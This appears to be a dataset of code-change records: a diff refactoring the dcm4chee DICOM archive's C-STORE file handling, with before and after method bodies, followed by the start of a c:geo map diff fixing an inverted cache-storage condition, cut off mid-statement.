diff --git a/dcm4chee-arc-beans/src/main/java/org/dcm4chee/archive/net/service/CStoreSCPImpl.java b/dcm4chee-arc-beans/src/main/java/org/dcm4chee/archive/net/service/CStoreSCPImpl.java index 8113ddd..6235aa4 100644 --- a/dcm4chee-arc-beans/src/main/java/org/dcm4chee/archive/net/service/CStoreSCPImpl.java +++ b/dcm4chee-arc-beans/src/main/java/org/dcm4chee/archive/net/service/CStoreSCPImpl.java @@ -1,283 +1,282 @@ /* ***** BEGIN LICENSE BLOCK ***** * Version: MPL 1.1/GPL 2.0/LGPL 2.1 * * The contents of this file are subject to the Mozilla Public License Version * 1.1 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is part of dcm4che, an implementation of DICOM(TM) in * Java(TM), hosted at https://github.com/gunterze/dcm4che. * * The Initial Developer of the Original Code is * Agfa Healthcare. * Portions created by the Initial Developer are Copyright (C) 2011 * the Initial Developer. All Rights Reserved. * * Contributor(s): * See @authors listed below * * Alternatively, the contents of this file may be used under the terms of * either the GNU General Public License Version 2 or later (the "GPL"), or * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), * in which case the provisions of the GPL or the LGPL are applicable instead * of those above. If you wish to allow use of your version of this file only * under the terms of either the GPL or the LGPL, and not to allow others to * use your version of this file under the terms of the MPL, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the GPL or the LGPL. If you do not delete * the provisions above, a recipient may use your version of this file under * the terms of any one of the MPL, the GPL or the LGPL. * * ***** END LICENSE BLOCK ***** */ package org.dcm4chee.archive.net.service; import java.io.File; import java.io.IOException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.security.SecureRandom; import javax.xml.transform.Templates; import org.dcm4che.data.Attributes; import org.dcm4che.data.Tag; import org.dcm4che.data.VR; import org.dcm4che.io.DicomInputStream; import org.dcm4che.io.SAXTransformer; import org.dcm4che.net.Association; import org.dcm4che.net.Dimse; import org.dcm4che.net.Status; import org.dcm4che.net.TransferCapability; import org.dcm4che.net.pdu.PresentationContext; import org.dcm4che.net.service.BasicCStoreSCP; import org.dcm4che.net.service.DicomServiceException; import org.dcm4che.util.AttributesFormat; import org.dcm4che.util.SafeClose; import org.dcm4che.util.TagUtils; import org.dcm4chee.archive.ejb.store.InstanceStore; import org.dcm4chee.archive.net.ArchiveApplicationEntity; import org.dcm4chee.archive.persistence.FileRef; import org.dcm4chee.archive.persistence.FileSystem; /** * @author Gunter Zeilinger <[email protected]> */ public class CStoreSCPImpl extends BasicCStoreSCP { private boolean initFileSystem = true; private IanSCU ianSCU; public CStoreSCPImpl(String... sopClasses) { super(sopClasses); } public final IanSCU getIanSCU() { return ianSCU; } public final void setIanSCU(IanSCU ianSCU) { this.ianSCU = ianSCU; } @Override protected Object selectStorage(Association as, Attributes rq) throws DicomServiceException { try { ArchiveApplicationEntity ae = (ArchiveApplicationEntity) as.getApplicationEntity(); String fsGroupID = ae.getFileSystemGroupID(); if (fsGroupID == null) throw new IllegalStateException( "No File System Group ID configured for " + ae.getAETitle()); InstanceStore store = initInstanceStore(as); if (initFileSystem) { store.initFileSystem(fsGroupID); initFileSystem = false; } return store.selectFileSystem(fsGroupID); } catch (Exception e) { LOG.warn(as + ": Failed to select filesystem:", e); throw new DicomServiceException(Status.OutOfResources, e); } } private static class LazyInitialization { static final SecureRandom random = new SecureRandom(); static int nextInt() { int n = random.nextInt(); return n < 0 ? -(n+1) : n; } } @Override protected File createFile(Association as, Attributes rq, Object storage) throws DicomServiceException { try { FileSystem fs = (FileSystem) storage; String iuid = rq.getString(Tag.AffectedSOPInstanceUID); ArchiveApplicationEntity ae = (ArchiveApplicationEntity) as.getApplicationEntity(); String subdir = ae.getReceivingDirectoryPath(); File dir = subdir != null ? new File(fs.getDirectory(), subdir) : fs.getDirectory(); dir.mkdirs(); File file = new File(dir, iuid); while (!file.createNewFile()) file = new File(dir, Integer.toString(LazyInitialization.nextInt())); return file; } catch (Exception e) { LOG.warn(as + ": Failed to create file:", e); throw new DicomServiceException(Status.OutOfResources, e); } } @Override protected MessageDigest getMessageDigest(Association as) { ArchiveApplicationEntity ae = (ArchiveApplicationEntity) as.getApplicationEntity(); String algorithm = ae.getDigestAlgorithm(); try { return algorithm != null ? MessageDigest.getInstance(algorithm) : null; } catch (NoSuchAlgorithmException e) { throw new RuntimeException(e); } } @Override - protected File process(Association as, PresentationContext pc, Attributes rq, - Attributes rsp, Object storage, File file, MessageDigest digest) + protected boolean process(Association as, PresentationContext pc, Attributes rq, + Attributes rsp, Object storage, FileHolder fileHolder, MessageDigest digest) throws DicomServiceException { FileSystem fs = (FileSystem) storage; - Attributes ds = readDataset(as, rq, file); + Attributes ds = readDataset(as, rq, fileHolder.getFile()); if (ds.bigEndian()) ds = new Attributes(ds, false); String sourceAET = as.getRemoteAET(); String cuid = rq.getString(Tag.AffectedSOPClassUID); ArchiveApplicationEntity ae = (ArchiveApplicationEntity) as.getApplicationEntity(); try { Attributes modified = new Attributes(); Templates tpl = ae.getAttributeCoercionTemplates(cuid, Dimse.C_STORE_RQ, TransferCapability.Role.SCP, sourceAET); if (tpl != null) ds.update(SAXTransformer.transform(ds, tpl, false, false), modified); AttributesFormat filePathFormat = ae.getStorageFilePathFormat(); - File dst = filePathFormat != null - ? rename(as, rq, fs, file, format(filePathFormat, ds)) - : file; + if (filePathFormat != null) + fileHolder.setFile(rename(as, rq, fs, fileHolder.getFile(), + format(filePathFormat, ds))); + File dst = fileHolder.getFile(); String filePath = dst.toURI().toString().substring(fs.getURI().length()); InstanceStore store = (InstanceStore) as.getProperty(InstanceStore.JNDI_NAME); - if (store.addFileRef(sourceAET, ds, modified, + boolean add = store.addFileRef(sourceAET, ds, modified, new FileRef(fs, filePath, pc.getTransferSyntax(), dst.length(), - digest(digest)), ae.getStoreParam())) { - dst = null; - if (ae.hasIANDestinations()) { - scheduleIAN(ae, store.createIANforPreviousMPPS()); - for (Attributes ian : store.createIANsforRejectionNote()) - scheduleIAN(ae, ian); - } + digest(digest)), ae.getStoreParam()); + if (add && ae.hasIANDestinations()) { + scheduleIAN(ae, store.createIANforPreviousMPPS()); + for (Attributes ian : store.createIANsforRejectionNote()) + scheduleIAN(ae, ian); } if (!modified.isEmpty()) { if (LOG.isInfoEnabled()) { LOG.info("{}:Coercion of Data Elements:\n{}\nto:\n{}", new Object[] { as, modified, new Attributes(ds, ds.bigEndian(), modified.tags()) }); } if (!ae.isSuppressWarningCoercionOfDataElements()) { rsp.setInt(Tag.Status, VR.US, Status.CoercionOfDataElements); rsp.setInt(Tag.OffendingElement, VR.AT, modified.tags()); } } - return dst; + return add; } catch (DicomServiceException e) { throw e; } catch (Exception e) { throw new DicomServiceException(Status.ProcessingFailure, DicomServiceException.initialCauseOf(e)); } } private String format(AttributesFormat format, Attributes ds) { synchronized (format) { return format.format(ds); } } private static File rename(Association as, Attributes rq, FileSystem fs, File file, String fpath) throws DicomServiceException { File dst = new File(fs.getDirectory(), fpath); File dir = dst.getParentFile(); dir.mkdirs(); while (dst.exists()) { dst = new File(dir, TagUtils.toHexString(LazyInitialization.nextInt())); } if (file.renameTo(dst)) LOG.info(as + ": M-RENAME " + file + " to " + dst); else { LOG.warn(as + ": Failed to M-RENAME " + file + " to " + dst); throw new DicomServiceException(Status.OutOfResources, "Failed to rename file"); } return dst; } private String digest(MessageDigest digest) { return digest != null ? TagUtils.toHexString(digest.digest()) : null; } private Attributes readDataset(Association as, Attributes rq, File file) throws DicomServiceException { DicomInputStream in = null; try { in = new DicomInputStream(file); in.setIncludeBulkData(false); return in.readDataset(-1, Tag.PixelData); } catch (IOException e) { LOG.warn(as + ": Failed to decode dataset:", e); throw new DicomServiceException(Status.CannotUnderstand); } finally { SafeClose.close(in); } } private InstanceStore initInstanceStore(Association as) { InstanceStore store = (InstanceStore) as.getProperty(InstanceStore.JNDI_NAME); if (store == null) { store = (InstanceStore) JNDIUtils.lookup(InstanceStore.JNDI_NAME); as.setProperty(InstanceStore.JNDI_NAME, store); } return store; } private void closeInstanceStore(Association as) { InstanceStore store = (InstanceStore) as.clearProperty(InstanceStore.JNDI_NAME); if (store != null) { ArchiveApplicationEntity ae = (ArchiveApplicationEntity) as.getApplicationEntity(); if (ae.hasIANDestinations()) try { scheduleIAN(ae, store.createIANforCurrentMPPS()); } catch (Exception e) { LOG.warn(as + ": Failed to create IAN for MPPS:", e); } store.close(); } } private void scheduleIAN(ArchiveApplicationEntity ae, Attributes ian) { if (ian != null) for (String remoteAET : ae.getIANDestinations()) ianSCU.scheduleIAN(ae.getAETitle(), remoteAET, ian, 0, 0); } @Override public void onClose(Association as) { closeInstanceStore(as); } }
false
true
protected File process(Association as, PresentationContext pc, Attributes rq, Attributes rsp, Object storage, File file, MessageDigest digest) throws DicomServiceException { FileSystem fs = (FileSystem) storage; Attributes ds = readDataset(as, rq, file); if (ds.bigEndian()) ds = new Attributes(ds, false); String sourceAET = as.getRemoteAET(); String cuid = rq.getString(Tag.AffectedSOPClassUID); ArchiveApplicationEntity ae = (ArchiveApplicationEntity) as.getApplicationEntity(); try { Attributes modified = new Attributes(); Templates tpl = ae.getAttributeCoercionTemplates(cuid, Dimse.C_STORE_RQ, TransferCapability.Role.SCP, sourceAET); if (tpl != null) ds.update(SAXTransformer.transform(ds, tpl, false, false), modified); AttributesFormat filePathFormat = ae.getStorageFilePathFormat(); File dst = filePathFormat != null ? rename(as, rq, fs, file, format(filePathFormat, ds)) : file; String filePath = dst.toURI().toString().substring(fs.getURI().length()); InstanceStore store = (InstanceStore) as.getProperty(InstanceStore.JNDI_NAME); if (store.addFileRef(sourceAET, ds, modified, new FileRef(fs, filePath, pc.getTransferSyntax(), dst.length(), digest(digest)), ae.getStoreParam())) { dst = null; if (ae.hasIANDestinations()) { scheduleIAN(ae, store.createIANforPreviousMPPS()); for (Attributes ian : store.createIANsforRejectionNote()) scheduleIAN(ae, ian); } } if (!modified.isEmpty()) { if (LOG.isInfoEnabled()) { LOG.info("{}:Coercion of Data Elements:\n{}\nto:\n{}", new Object[] { as, modified, new Attributes(ds, ds.bigEndian(), modified.tags()) }); } if (!ae.isSuppressWarningCoercionOfDataElements()) { rsp.setInt(Tag.Status, VR.US, Status.CoercionOfDataElements); rsp.setInt(Tag.OffendingElement, VR.AT, modified.tags()); } } return dst; } catch (DicomServiceException e) { throw e; } catch (Exception e) { throw new DicomServiceException(Status.ProcessingFailure, DicomServiceException.initialCauseOf(e)); } }
protected boolean process(Association as, PresentationContext pc, Attributes rq, Attributes rsp, Object storage, FileHolder fileHolder, MessageDigest digest) throws DicomServiceException { FileSystem fs = (FileSystem) storage; Attributes ds = readDataset(as, rq, fileHolder.getFile()); if (ds.bigEndian()) ds = new Attributes(ds, false); String sourceAET = as.getRemoteAET(); String cuid = rq.getString(Tag.AffectedSOPClassUID); ArchiveApplicationEntity ae = (ArchiveApplicationEntity) as.getApplicationEntity(); try { Attributes modified = new Attributes(); Templates tpl = ae.getAttributeCoercionTemplates(cuid, Dimse.C_STORE_RQ, TransferCapability.Role.SCP, sourceAET); if (tpl != null) ds.update(SAXTransformer.transform(ds, tpl, false, false), modified); AttributesFormat filePathFormat = ae.getStorageFilePathFormat(); if (filePathFormat != null) fileHolder.setFile(rename(as, rq, fs, fileHolder.getFile(), format(filePathFormat, ds))); File dst = fileHolder.getFile(); String filePath = dst.toURI().toString().substring(fs.getURI().length()); InstanceStore store = (InstanceStore) as.getProperty(InstanceStore.JNDI_NAME); boolean add = store.addFileRef(sourceAET, ds, modified, new FileRef(fs, filePath, pc.getTransferSyntax(), dst.length(), digest(digest)), ae.getStoreParam()); if (add && ae.hasIANDestinations()) { scheduleIAN(ae, store.createIANforPreviousMPPS()); for (Attributes ian : store.createIANsforRejectionNote()) scheduleIAN(ae, ian); } if (!modified.isEmpty()) { if (LOG.isInfoEnabled()) { LOG.info("{}:Coercion of Data Elements:\n{}\nto:\n{}", new Object[] { as, modified, new Attributes(ds, ds.bigEndian(), modified.tags()) }); } if (!ae.isSuppressWarningCoercionOfDataElements()) { rsp.setInt(Tag.Status, VR.US, Status.CoercionOfDataElements); rsp.setInt(Tag.OffendingElement, VR.AT, modified.tags()); } } return add; } catch (DicomServiceException e) { throw e; } catch (Exception e) { throw new DicomServiceException(Status.ProcessingFailure, DicomServiceException.initialCauseOf(e)); } }
diff --git a/main/src/cgeo/geocaching/maps/CGeoMap.java b/main/src/cgeo/geocaching/maps/CGeoMap.java index ceddb5e74..9d45e4c2c 100644 --- a/main/src/cgeo/geocaching/maps/CGeoMap.java +++ b/main/src/cgeo/geocaching/maps/CGeoMap.java @@ -1,1922 +1,1922 @@ package cgeo.geocaching.maps; import cgeo.geocaching.R; import cgeo.geocaching.Settings; import cgeo.geocaching.Settings.mapSourceEnum; import cgeo.geocaching.cgBase; import cgeo.geocaching.cgCache; import cgeo.geocaching.cgCoord; import cgeo.geocaching.cgDirection; import cgeo.geocaching.cgGeo; import cgeo.geocaching.cgSearch; import cgeo.geocaching.cgUpdateDir; import cgeo.geocaching.cgUpdateLoc; import cgeo.geocaching.cgUser; import cgeo.geocaching.cgWaypoint; import cgeo.geocaching.cgeoapplication; import cgeo.geocaching.cgeocaches; import cgeo.geocaching.activity.ActivityMixin; import cgeo.geocaching.apps.cache.navi.NavigationAppFactory; import cgeo.geocaching.enumerations.WaypointType; import cgeo.geocaching.geopoint.Geopoint; import cgeo.geocaching.maps.interfaces.CachesOverlayItemImpl; import cgeo.geocaching.maps.interfaces.GeoPointImpl; import cgeo.geocaching.maps.interfaces.MapActivityImpl; import cgeo.geocaching.maps.interfaces.MapControllerImpl; import cgeo.geocaching.maps.interfaces.MapFactory; import cgeo.geocaching.maps.interfaces.MapViewImpl; import cgeo.geocaching.maps.interfaces.OnDragListener; import cgeo.geocaching.maps.interfaces.OtherCachersOverlayItemImpl; import cgeo.geocaching.utils.CancellableHandler; import org.apache.commons.collections.CollectionUtils; import org.apache.commons.lang3.StringUtils; import android.app.Activity; import android.app.ProgressDialog; import android.content.Context; import android.content.DialogInterface; import android.content.Intent; import android.content.res.Resources; import android.graphics.drawable.Drawable; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.util.Log; import android.view.Menu; import android.view.MenuItem; import android.view.SubMenu; import android.view.View; import android.view.ViewGroup.LayoutParams; import android.view.WindowManager; import android.widget.ImageSwitcher; import android.widget.ImageView; import android.widget.ImageView.ScaleType; import android.widget.TextView; import android.widget.ViewSwitcher.ViewFactory; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Locale; import java.util.Map; /** * Class representing the Map in c:geo */ public class CGeoMap extends AbstractMap implements OnDragListener, ViewFactory { private static final String EXTRAS_GEOCODE = "geocode"; private static final String EXTRAS_LONGITUDE = "longitude"; private static final String EXTRAS_LATITUDE = "latitude"; private static final String EXTRAS_WPTTYPE = "wpttype"; private static final String EXTRAS_MAPSTATE = "mapstate"; private static final String EXTRAS_SEARCH = "search"; private static final String EXTRAS_DETAIL = "detail"; private static final int MENU_SELECT_MAPVIEW = 1; private static final int MENU_MAP_LIVE = 2; private static final int MENU_STORE_CACHES = 3; private static final int MENU_TRAIL_MODE = 4; private static final int MENU_CIRCLE_MODE = 5; private static final int MENU_AS_LIST = 6; private static final int MENU_NAVIGATE = 7; private static final int SUBMENU_VIEW_GOOGLE_MAP = 10; private static final int SUBMENU_VIEW_GOOGLE_SAT = 11; private static final int SUBMENU_VIEW_MF_MAPNIK = 13; private static final int SUBMENU_VIEW_MF_OSMARENDER = 14; private static final int SUBMENU_VIEW_MF_CYCLEMAP = 15; private static final int SUBMENU_VIEW_MF_OFFLINE = 16; private static final String EXTRAS_MAP_TITLE = "mapTitle"; private Resources res = null; private Activity activity = null; private MapViewImpl mapView = null; private MapControllerImpl mapController = null; private cgBase base = null; private cgeoapplication app = null; private cgGeo geo = null; private cgDirection dir = null; private cgUpdateLoc geoUpdate = new UpdateLoc(); private cgUpdateDir dirUpdate = new UpdateDir(); // from intent private boolean fromDetailIntent = false; private cgSearch searchIntent = null; private String geocodeIntent = null; private Geopoint coordsIntent = null; private WaypointType waypointTypeIntent = null; private int[] mapStateIntent = null; // status data private cgSearch search = null; private String token = null; private boolean noMapTokenShowed = false; // map status data private boolean followMyLocation = false; private Integer centerLatitude = null; private Integer centerLongitude = null; private Integer spanLatitude = null; private Integer spanLongitude = null; private Integer centerLatitudeUsers = null; private Integer centerLongitudeUsers = null; private Integer spanLatitudeUsers = null; private Integer spanLongitudeUsers = null; // threads private LoadTimer loadTimer = null; private UsersTimer usersTimer = null; //FIXME should be members of LoadTimer since started by it. private LoadThread loadThread = null; private DownloadThread downloadThread = null; private DisplayThread displayThread = null; //FIXME should be members of UsersTimer since started by it. private UsersThread usersThread = null; private DisplayUsersThread displayUsersThread = null; //FIXME move to OnOptionsItemSelected private LoadDetails loadDetailsThread = null; /** Time of last {@link LoadThread} run */ private volatile long loadThreadRun = 0L; /** Time of last {@link UsersThread} run */ private volatile long usersThreadRun = 0L; //Interthread communication flag private volatile boolean downloaded = false; // overlays private CachesOverlay overlayCaches = null; private OtherCachersOverlay overlayOtherCachers = null; private ScaleOverlay overlayScale = null; private PositionOverlay overlayPosition = null; // data for overlays private int cachesCnt = 0; private Map<Integer, Drawable> iconsCache = new HashMap<Integer, Drawable>(); /** List of caches in the viewport */ private List<cgCache> caches = new ArrayList<cgCache>(); /** List of users in the viewport */ private List<cgUser> users = new ArrayList<cgUser>(); private List<cgCoord> coordinates = new ArrayList<cgCoord>(); // storing for offline private ProgressDialog waitDialog = null; private int detailTotal = 0; private int detailProgress = 0; private Long detailProgressTime = 0L; // views private ImageSwitcher myLocSwitch = null; // other things private boolean live = true; // live map (live, dead) or rest (displaying caches on map) private boolean liveChanged = false; // previous state for loadTimer private boolean centered = false; // if map is already centered private boolean alreadyCentered = false; // -""- for setting my location // handlers /** Updates the titles */ final private Handler displayHandler = new Handler() { @Override public void handleMessage(Message msg) { final int what = msg.what; if (what == 0) { // set title final StringBuilder title = new StringBuilder(); if (live) { title.append(res.getString(R.string.map_live)); } else { title.append(mapTitle); } if (caches != null && cachesCnt > 0 && !mapTitle.contains("[")) { title.append(" ["); title.append(caches.size()); title.append(']'); } ActivityMixin.setTitle(activity, title.toString()); } else if (what == 1 && mapView != null) { mapView.repaintRequired(null); } } }; /** Updates the progress. */ final private Handler showProgressHandler = new Handler() { @Override public void handleMessage(Message msg) { final int what = msg.what; if (what == 0) { ActivityMixin.showProgress(activity, false); } else if (what == 1) { ActivityMixin.showProgress(activity, true); } } }; final private class LoadDetailsHandler extends CancellableHandler { @Override public void handleRegularMessage(Message msg) { if (msg.what == 0) { if (waitDialog != null) { int secondsElapsed = (int) ((System.currentTimeMillis() - detailProgressTime) / 1000); int secondsRemaining; if (detailProgress > 0) { secondsRemaining = (detailTotal - detailProgress) * secondsElapsed / detailProgress; } else { secondsRemaining = (detailTotal - detailProgress) * secondsElapsed; } waitDialog.setProgress(detailProgress); if (secondsRemaining < 40) { waitDialog.setMessage(res.getString(R.string.caches_downloading) + " " + res.getString(R.string.caches_eta_ltm)); } else if (secondsRemaining < 90) { waitDialog.setMessage(res.getString(R.string.caches_downloading) + " " + String.format(Locale.getDefault(), "%d", (secondsRemaining / 60)) + " " + res.getString(R.string.caches_eta_min)); } else { waitDialog.setMessage(res.getString(R.string.caches_downloading) + " " + String.format(Locale.getDefault(), "%d", (secondsRemaining / 60)) + " " + res.getString(R.string.caches_eta_mins)); } } } else { if (waitDialog != null) { waitDialog.dismiss(); waitDialog.setOnCancelListener(null); } if (geo == null) { geo = app.startGeo(activity, geoUpdate, base, 0, 0); } if (Settings.isUseCompass() && dir == null) { dir = app.startDir(activity, dirUpdate); } } } @Override public void handleCancel(final Object extra) { if (loadDetailsThread != null) { loadDetailsThread.stopIt(); } if (geo == null) { geo = app.startGeo(activity, geoUpdate, base, 0, 0); } if (Settings.isUseCompass() && dir == null) { dir = app.startDir(activity, dirUpdate); } } }; final private Handler noMapTokenHandler = new Handler() { @Override public void handleMessage(Message msg) { if (!noMapTokenShowed) { ActivityMixin.showToast(activity, res.getString(R.string.map_token_err)); noMapTokenShowed = true; } } }; /** * calling activities can set the map title via extras */ private String mapTitle; public CGeoMap(MapActivityImpl activity) { super(activity); } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // class init res = this.getResources(); activity = this.getActivity(); app = (cgeoapplication) activity.getApplication(); app.setAction(null); base = new cgBase(app); MapFactory mapFactory = Settings.getMapFactory(); // reset status noMapTokenShowed = false; // set layout activity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON); // set layout ActivityMixin.setTheme(activity); activity.setContentView(Settings.getMapFactory().getMapLayoutId()); ActivityMixin.setTitle(activity, res.getString(R.string.map_map)); if (geo == null) { geo = app.startGeo(activity, geoUpdate, base, 0, 0); } if (Settings.isUseCompass() && dir == null) { dir = app.startDir(activity, dirUpdate); } // initialize map mapView = (MapViewImpl) activity.findViewById(mapFactory.getMapViewId()); mapView.setMapSource(); mapView.setBuiltInZoomControls(true); mapView.displayZoomControls(true); mapView.preLoad(); mapView.setOnDragListener(this); // initialize overlays mapView.clearOverlays(); if (overlayPosition == null) { overlayPosition = mapView.createAddPositionOverlay(activity); } if (Settings.isPublicLoc() && overlayOtherCachers == null) { overlayOtherCachers = mapView.createAddUsersOverlay(activity, getResources().getDrawable(R.drawable.user_location)); } if (overlayCaches == null) { overlayCaches = mapView.createAddMapOverlay(mapView.getContext(), getResources().getDrawable(R.drawable.marker), fromDetailIntent); } if (overlayScale == null) { overlayScale = mapView.createAddScaleOverlay(activity); } mapView.repaintRequired(null); mapController = mapView.getMapController(); mapController.setZoom(Settings.getMapZoom()); // start location and directory services if (geo != null) { geoUpdate.updateLoc(geo); } if (dir != null) { dirUpdate.updateDir(dir); } // get parameters Bundle extras = activity.getIntent().getExtras(); if (extras != null) { fromDetailIntent = extras.getBoolean(EXTRAS_DETAIL); searchIntent = (cgSearch) extras.getParcelable(EXTRAS_SEARCH); geocodeIntent = extras.getString(EXTRAS_GEOCODE); final double latitudeIntent = extras.getDouble(EXTRAS_LATITUDE); final double longitudeIntent = extras.getDouble(EXTRAS_LONGITUDE); coordsIntent = new Geopoint(latitudeIntent, longitudeIntent); waypointTypeIntent = WaypointType.FIND_BY_ID.get(extras.getString(EXTRAS_WPTTYPE)); mapStateIntent = extras.getIntArray(EXTRAS_MAPSTATE); mapTitle = extras.getString(EXTRAS_MAP_TITLE); if (coordsIntent.getLatitude() == 0.0 || coordsIntent.getLongitude() == 0.0) { coordsIntent = null; } } if (StringUtils.isBlank(mapTitle)) { mapTitle = res.getString(R.string.map_map); } // live map, if no arguments are given live = (searchIntent == null && geocodeIntent == null && coordsIntent == null); if (null == mapStateIntent) { followMyLocation = live; } else { followMyLocation = 1 == mapStateIntent[3] ? true : false; } if (geocodeIntent != null || searchIntent != null || coordsIntent != null || mapStateIntent != null) { centerMap(geocodeIntent, searchIntent, coordsIntent, mapStateIntent); } // prepare my location button myLocSwitch = (ImageSwitcher) activity.findViewById(R.id.my_position); myLocSwitch.setFactory(this); myLocSwitch.setInAnimation(activity, android.R.anim.fade_in); myLocSwitch.setOutAnimation(activity, android.R.anim.fade_out); myLocSwitch.setOnClickListener(new MyLocationListener()); switchMyLocationButton(); startTimer(); // show the filter warning bar if the filter is set if (Settings.getCacheType() != null) { String cacheType = cgBase.cacheTypesInv.get(Settings.getCacheType()); ((TextView) activity.findViewById(R.id.filter_text)).setText(cacheType); activity.findViewById(R.id.filter_bar).setVisibility(View.VISIBLE); } } @Override public void onResume() { super.onResume(); app.setAction(null); if (geo == null) { geo = app.startGeo(activity, geoUpdate, base, 0, 0); } if (Settings.isUseCompass() && dir == null) { dir = app.startDir(activity, dirUpdate); } if (geo != null) { geoUpdate.updateLoc(geo); } if (dir != null) { dirUpdate.updateDir(dir); } startTimer(); } @Override public void onStop() { if (loadTimer != null) { loadTimer.stopIt(); loadTimer = null; } if (usersTimer != null) { usersTimer.stopIt(); usersTimer = null; } if (dir != null) { dir = app.removeDir(); } if (geo != null) { geo = app.removeGeo(); } savePrefs(); if (mapView != null) { mapView.destroyDrawingCache(); } super.onStop(); } @Override public void onPause() { if (loadTimer != null) { loadTimer.stopIt(); loadTimer = null; } if (usersTimer != null) { usersTimer.stopIt(); usersTimer = null; } if (dir != null) { dir = app.removeDir(); } if (geo != null) { geo = app.removeGeo(); } savePrefs(); if (mapView != null) { mapView.destroyDrawingCache(); } super.onPause(); } @Override public void onDestroy() { if (loadTimer != null) { loadTimer.stopIt(); loadTimer = null; } if (usersTimer != null) { usersTimer.stopIt(); usersTimer = null; } if (dir != null) { dir = app.removeDir(); } if (geo != null) { geo = app.removeGeo(); } savePrefs(); if (mapView != null) { mapView.destroyDrawingCache(); } super.onDestroy(); } @Override public boolean onCreateOptionsMenu(Menu menu) { SubMenu submenu = menu.addSubMenu(1, MENU_SELECT_MAPVIEW, 0, res.getString(R.string.map_view_map)).setIcon(android.R.drawable.ic_menu_mapmode); addMapViewMenuItems(submenu); menu.add(0, MENU_MAP_LIVE, 0, res.getString(R.string.map_live_disable)).setIcon(R.drawable.ic_menu_notifications); menu.add(0, MENU_STORE_CACHES, 0, res.getString(R.string.caches_store_offline)).setIcon(android.R.drawable.ic_menu_set_as).setEnabled(false); menu.add(0, MENU_TRAIL_MODE, 0, res.getString(R.string.map_trail_hide)).setIcon(android.R.drawable.ic_menu_recent_history); menu.add(0, MENU_CIRCLE_MODE, 0, res.getString(R.string.map_circles_hide)).setIcon(R.drawable.ic_menu_circle); menu.add(0, MENU_AS_LIST, 0, res.getString(R.string.map_as_list)).setIcon(android.R.drawable.ic_menu_agenda); submenu = menu.addSubMenu(2, MENU_NAVIGATE, 0, res.getString(R.string.cache_menu_navigate)).setIcon(android.R.drawable.ic_menu_more); NavigationAppFactory.addMenuItems(submenu, this.activity, res, false); return true; } private void addMapViewMenuItems(final Menu menu) { String[] mapViews = res.getStringArray(R.array.map_sources); mapSourceEnum mapSource = Settings.getMapSource(); menu.add(1, SUBMENU_VIEW_GOOGLE_MAP, 0, mapViews[0]).setCheckable(true).setChecked(mapSource == mapSourceEnum.googleMap); menu.add(1, SUBMENU_VIEW_GOOGLE_SAT, 0, mapViews[1]).setCheckable(true).setChecked(mapSource == mapSourceEnum.googleSat); menu.add(1, SUBMENU_VIEW_MF_MAPNIK, 0, mapViews[2]).setCheckable(true).setChecked(mapSource == mapSourceEnum.mapsforgeMapnik); menu.add(1, SUBMENU_VIEW_MF_OSMARENDER, 0, mapViews[3]).setCheckable(true).setChecked(mapSource == mapSourceEnum.mapsforgeOsmarender); menu.add(1, SUBMENU_VIEW_MF_CYCLEMAP, 0, mapViews[4]).setCheckable(true).setChecked(mapSource == mapSourceEnum.mapsforgeCycle); menu.add(1, SUBMENU_VIEW_MF_OFFLINE, 0, mapViews[5]).setCheckable(true).setChecked(mapSource == mapSourceEnum.mapsforgeOffline); menu.setGroupCheckable(1, true, true); } @Override public boolean onPrepareOptionsMenu(Menu menu) { super.onPrepareOptionsMenu(menu); MenuItem item; try { item = menu.findItem(MENU_TRAIL_MODE); // show trail if (Settings.isMapTrail()) { item.setTitle(res.getString(R.string.map_trail_hide)); } else { item.setTitle(res.getString(R.string.map_trail_show)); } item = menu.findItem(MENU_MAP_LIVE); // live map if (live) { if (Settings.isLiveMap()) { item.setTitle(res.getString(R.string.map_live_disable)); } else { item.setTitle(res.getString(R.string.map_live_enable)); } } else { item.setEnabled(false); item.setTitle(res.getString(R.string.map_live_enable)); } menu.findItem(MENU_STORE_CACHES).setEnabled(live && !isLoading() && CollectionUtils.isNotEmpty(caches) && app.hasUnsavedCaches(search)); item = menu.findItem(MENU_CIRCLE_MODE); // show circles if (overlayCaches != null && overlayCaches.getCircles()) { item.setTitle(res.getString(R.string.map_circles_hide)); } else { item.setTitle(res.getString(R.string.map_circles_show)); } menu.findItem(SUBMENU_VIEW_MF_OFFLINE).setEnabled(Settings.isValidMapFile()); item = menu.findItem(MENU_AS_LIST); item.setVisible(live); item.setEnabled(CollectionUtils.isNotEmpty(caches)); menu.findItem(MENU_NAVIGATE).setEnabled(cachesCnt <= 1); } catch (Exception e) { Log.e(Settings.tag, "cgeomap.onPrepareOptionsMenu: " + e.toString()); } return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { final int id = item.getItemId(); switch (id) { case MENU_TRAIL_MODE: Settings.setMapTrail(!Settings.isMapTrail()); return true; case MENU_MAP_LIVE: Settings.setLiveMap(!Settings.isLiveMap()); liveChanged = true; search = null; searchIntent = null; return true; case MENU_STORE_CACHES: if (live && !isLoading() && CollectionUtils.isNotEmpty(caches)) { final List<String> geocodes = new ArrayList<String>(); List<cgCache> cachesProtected = new ArrayList<cgCache>(caches); try { if (cachesProtected.size() > 0) { final GeoPointImpl mapCenter = mapView.getMapViewCenter(); final int mapCenterLat = mapCenter.getLatitudeE6(); final int mapCenterLon = mapCenter.getLongitudeE6(); final int mapSpanLat = mapView.getLatitudeSpan(); final int mapSpanLon = mapView.getLongitudeSpan(); for (cgCache oneCache : cachesProtected) { if (oneCache != null && oneCache.coords != null) { - if (!cgBase.isCacheInViewPort(mapCenterLat, mapCenterLon, mapSpanLat, mapSpanLon, oneCache.coords) && app.isOffline(oneCache.geocode, null)) { + if (cgBase.isCacheInViewPort(mapCenterLat, mapCenterLon, mapSpanLat, mapSpanLon, oneCache.coords) && !app.isOffline(oneCache.geocode, null)) { geocodes.add(oneCache.geocode); } } } } } catch 